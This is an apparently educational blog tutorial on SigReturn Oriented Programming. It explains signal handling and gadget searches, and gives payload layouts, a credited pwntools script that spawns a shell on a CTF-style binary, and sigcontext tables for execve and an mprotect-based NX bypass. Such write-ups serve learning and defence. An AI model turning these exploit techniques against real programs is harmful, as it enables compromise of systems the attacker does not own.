6 minutes
Exploit a binary with SigReturn Oriented Programming (SROP)
If you’re interested in binary exploitation, you may have heard of SROP (Sigreturn Oriented Programming), a technique that leverages a program’s signal handling mechanism to gain control over its execution flow. In this article, we’ll explore different methods to exploit a binary with SROP, and discuss a tool that can automate the process of finding the necessary elements for a successful SROP exploit.
Since its first presentation at the 35th Security and Privacy IEEE conference in 2014, the SROP method has been the subject of several papers, as well as numerous CTF challenges, however, it remains difficult to find a comprehensive paper on this topic, so this will be the focus of this article.
We will cover (probably not exhaustively) the different ways that can be used to exploit a x64/x86 binary using the SROP method.
- How does it works?
- Why using this technique?
- The different ways to set the eax register to 0xf
- Exemples of custom sigcontexts
🧐 How does it works?
In order to understand how SROP works, we must first understand what happens when a signal occurs in a Unix-like system.
Signals are not the subject of this article, but you can find what you need to understand the following here
📡 What happens when a signal occurs:
- the execution of the process will be paused by the kernel in order to jump to a routine that will handle the signal.
- In order to safely resume execution after the handler, the context of this process is pushed to be saved on the stack (registers, flags, instruction pointer, stack pointer…). the context takes the form of a “sigcontext” structure whose details can be found here
![]() |
|---|
| sigcontext |
sigreturn()is called once the handler is finished. the process context is restored from the stack and the stack values are removed.

now that we know all this, we can use this system to exploit a binary.
-> We need three things for a good SROP:
- First, a buffer overflow vulnerability
- A way to put the value
0xfinto theeaxregister - a
syscall; retgagdet
🤔 Why using this technique?
- This method allows to build an exploit with a very limited number of gagdets (ROP)
- It’s much easier to control the execution context (registers status) than with a classical ROP
- SROP exploits are usually portable across different binaries with minimal or no effort and allow easily setting the contents of the registers
- Because we can 😉
🔍 The different ways to set the eax register to 0xf
The trivial case: we have a mov eax, 0xf gagdet
the case where this gadget is present in the binary is the simplest to exploit, since it will allow us to place 0xf into the eax register in a single action, no need to chain ROP gadgets.
➡ Exemple :
We start by searching the different ROP gadgets present in the binary with the ROPgadget tool
$ ~ ROPgadget --binary trivial
Gadgets information
============================================================
[...]
0x0000000000001139 : syscall ; ret
[...]
0x0000000000001143 : mov eax, 0xf ; ret
[...]
With these two gadgets, building an exploit becomes very simple
Here is the structure of our exploit.
Padding until we reach the saved rip |
address of the mov eax, 0xf ; ret gadget ( 0x0000000000001143 ) |
address of the syscall ; ret gadget ( 0x0000000000001139 ) |
| SigContext structure with the desired parameters |
Using thepop eax; ret gadget
This case is a “variant” of the previous one where it is still rather simple to put the value 0xf in the eax register
➡ Example :
$ ~ ROPgadget --binary pop_eax
Gadgets information
============================================================
[...]
0x000000000040101b : syscall ; ret
[...]
0x0000000000401020 : pop eax ; ret
[...]
Here is the structure of our exploit.
Padding until we reach the saved rip |
address of the pop eax ; ret gadget ( 0x0000000000401020 ) |
0xf (sigreturn syscall number) |
address of the syscall ; ret gadget ( 0x000000000040101b ) |
| SigContext structure with the desired parameters |
example of a python exploit by mishrasunny174
#!/usr/bin/env python2
from pwn import *
context.arch = 'amd64'
offset = 0x48
padding = 'A'*offset
pop_rax = 0x0000000000401020 #pop rax, ret gadget
syscall = 0x000000000040101b #syscall gadget
bin_sh = 0x0000000000402000 #bin_sh location in binary
p = process('./srop')
payload = padding
payload += p64(pop_rax)
payload += p64(15)
payload += p64(syscall)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = bin_sh
frame.rip = syscall
payload += str(frame)
p.sendline(payload)
p.interactive()
The author of the exploit uses the presence of the string /bin/sh in the binary by passing it as a parameter to the execve function via the rdi register, but it is obviously possible to use many other methods.
Use the read syscall to set the eax register to 0xf
An interesting thing to know is that the read syscall records the number of bytes read into the eax register.
There are two methods to set the value 0xf in eax using the read syscall:
Using the mov eax, 0x0 gadget
Padding until we reach the saved rip |
address of the mov eax, 0x0; ret gadget |
address of the syscall; ret gadget |
Then we send a 15 bytes (0xf -> 15 in decimal) string to the binary, which will allow us to place the value 0xf in eax
And finally :
address of the syscall; ret gadget |
| SigContext structure with the desired parameters |
Using the pop eax gadget
Padding until we reach the saved rip |
address of the pop eax; ret gadget |
0x0 (read syscall number) |
address of the syscall; ret gadget |
Then we send a 15 bytes string to the binary, which will allow us to place the value 0xf in eax
And finally :
address of the syscall; ret gadget |
| SigContext structure with the desired parameters |
🪧 Exemples of custom sigcontexts
Once you have figured out how to call the sigreturn syscall, you need to figure out how to get a shell through the context that will be restored from the stack.
If the binary contains the /bin/sh string
The idea is to call the execve function ( syscall 0x3b -> 59 in decimal ) with the string /bin/sh as parameter which will give us a shell. The string /bin/sh can either be present in the binary or you can write it in a memory area whose you know the address.
| Register | value |
|---|---|
rip |
syscall instruction address |
rax |
0x3b (execve syscall) |
rdi |
address of /bin/sh |
rsi |
0x0 (NULL) |
rdi |
0x0 (NULL) |
Use mprotect
mprotect : set protection on a region of memory
We use mprotect to make a memory area of our choice executable and writable to allow shellcode execution at that address. Then we shift the stack to that area so we can easily write data to it. We put in rsp the address containing the entry point of the program to ensure a normal controlflow. We can then arrange to redirect the program to the shellcode address, which will be executed despite the NX protection.
| Register | value |
|---|---|
rax |
0xa (mprotect syscall) |
rdi |
shellcode address |
rsi |
size (0x1000 for exemple) |
rdx |
0x7 -> mode (rwx) |
rsp |
entrypoint (new stack) |
rip |
address of the syscall; ret gadget |
⬇️ To go further
- Wikipedia article about SROP
- A write-Up for the Minipwn challenge from the 2019 TheManyHatsClub CTF
- Article from Erik Bosman
🤟 Thanks for reading!
for more informations or suggestions, you can contact me at : r0g3r5@protonmail.com, or on twitter at @Rog3rSm1th
